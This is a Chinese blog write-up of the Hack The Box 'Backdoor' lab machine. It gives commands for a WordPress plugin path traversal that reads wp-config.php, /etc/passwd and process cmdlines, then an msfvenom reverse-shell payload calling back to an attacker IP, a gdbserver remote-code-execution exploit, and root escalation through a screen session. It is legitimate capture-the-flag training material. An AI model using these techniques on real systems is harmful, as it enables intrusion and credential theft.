两年前第一次知道了hack the box,当时照猫画虎的做了一道渗透的题目,结果就再也没有练习过上面的题目,然后前两天用github pages搭建博客的时候,突然就又想起来了htb,昨天在家登录了一下,发现还是挺有意思的,就去找了个简单的backdoor的机器进行练习。
这道题目还是涨了不少姿势的,去年自治区比赛的一道ctf题目,见识了用zip软链接的方式实现信息读取,后来在群里大佬们讨论,通过读取内存的方式来获取一些关键信息,比如/proc/$PID/cmdline,可以看到对应进程的命令。今天这道题目通过wp插件的路径穿越实现任意文件读取,然后通过遍历进程id,读取cmdline,可以看到进程的具体命令,这也是linux==一切皆文件==的充分体现,通过读取内存方式发现了1337端口监听的服务,找到对应漏洞的exp,直接利用getshell,然后通过suid进行提权,实现最终的完全控制。
信息收集
1、端口扫描
通过nmap扫描,发现主机开放了80和22端口,实际服务器还开放了1337端口,扫描时服务down了,可以把机器reset一下。
1 | nmap -vv -sT -sV -oN htb_backdoor.nmap 10.10.11.125 |
2、Web页面访问
访问Web页面,发现网站使用了wordpress
点击Home按钮,发现了域名,当然直接查看源码也可以看到域名,这一步的价值存疑,本来以为服务器设置了部分路径只能通过域名访问,因为在后面用dirsearch的时候,第一次扫描ip,并没有扫描出wordpress的路径,用域名进行扫描,却扫出来了,结合htb的机器网络比较卡,所以也不好说是第一次扫描的网络问题,还是别的问题。
在kali中配置hosts,指定backdoor.htb对应ip为主机ip。
虽然确定了是wordpress,但是暂时没有发现对应的版本,用kali自带的wpscan对其进行扫描,来判断版本
1 | wpscan --url http://10.10.11.125 |
扫描出版本为5.8.1
目前得到的信息包括
1 | 开放端口:22、80 |
漏洞挖掘
exploitdb漏洞查找
看一下exploitdb中有没有对应的命令执行的exp,因为想着如果getshell,还是得从存在命令执行漏洞的exp入手,所以在搜索的时候,加了关键字过滤。
1 | searchsploit wordpress |grep -i execut |
发现wordpress本身存在rce漏洞的版本与此版本对应不上,剩下的都是插件的版本
根据wpscan的扫描结果,并没有找到该wp使用的插件信息,还需要进行进一步的信息收集。
手动挖洞
通过bp抓包查看访问请求,发现了访问url中的路径
尝试直接访问网站加wp-includes和wp-content这些路径,发现在wp-includes下面存在文件遍历,
另外,后来用域名进行dirsearch扫描的时候,也能扫描出来对应的路径,怀疑是做了限制,但是也不好确定是不是网络问题导致用ip扫描路径的时候没有扫描出来,毕竟htb的网络很成问题,在渗透的过程中,断了好多次。。。。
通过上面的扫描结果,发现登录页面,用admin账号进行爆破尝试。
另外访问/wp-content/plugins/路径发现存在ebook插件
通过exploitdb搜索,发现该插件有个路径穿越的漏洞,可以实现任意文件读取。
通过路径穿越获取道wp-config.php中数据库的账号密码
需要注意的是,如果已知绝对路径的文件,后面可以不用../进行路径穿越,比如/etc/passwd,渗透的过程中通过../穿越,始终获取不到/etc/passwd的内容,一度认为是不是存在过滤,后来才发现,直接跟绝对路径就行。
发现插件路径下还有一个hello.php,通过路径穿越获取hello.php的源码,但是没有什么价值。
1 | curl -v http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php\?ebookdownloadurl\=../hello.php |
用前面收集到的账号密码尝试登录后台,发现不行,然后就卡在这里。尝试去下载了其他php文件,但是也没发现有什么线索。尝试获取/etc/passwd文件,发现user用户,使用上述密码进行ssh登录同样失败。。。。
后来根据网上搜到的wp,其通过路径穿越去读取/proc/$PID/cmdline文件的信息,发现了开放的1337端口有gdbserver,利用gdbserver的漏洞getshell,再用另外一个进程中root的screen进程实现提权,但是当前,服务器的1337端口是down的,通过nmap并没有扫描出1337端口,所以这个思路是没有办法的,但是通过读取内存的方式,可以作为一个突破口。
通过路径穿越的方式获取的信息似乎也没啥办法进行getshell,只好将机器reset一下,发现1337端口恢复了。。。
用bp抓个请求包,然后将其修改为读取/proc/$PID/cmdline,通过intruder模块进行爆破
payload不宜设置成很大,因为htb的机器本身通过openvpn来访问,丢包就很严重了,上来就1-1000,估计网络很容易断掉。可以考虑分段测试,每次100
在pid为852发现了root用户的screen程序,可能存在提权的地方
pid为846的地方发现了1337的端口监听程序,为gdbserver
通过查找expdb,发现gdbserver存在远程代码执行的漏洞
漏洞利用
根据exp中的内容制作反弹shell的文件
1 | msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.229 LPORT=4444 PrependFork=true -o rev.bin |
攻击机开启监听,使用exploitdb的exp(直接将搜到的exp复制过来,方便执行)
1 | python3 gdbserver_exp.py 10.10.11.125:1337 rev.bin |
成功拿到user用户的shell,查看user.txt,拿到普通用户的flag
提权
根据前面获取到的信息,存在一个root用户的screen进程
1 | screen -dmS root |
查看screen,发现存在suid,所以这里可以通过suid进行提权。
开个交互式shell
然后通过screen进行提权,后面为$USERNAME/$SESSIONNAME
1 | screen -x root/root |
查看root目录下的root.txt,拿到root的flag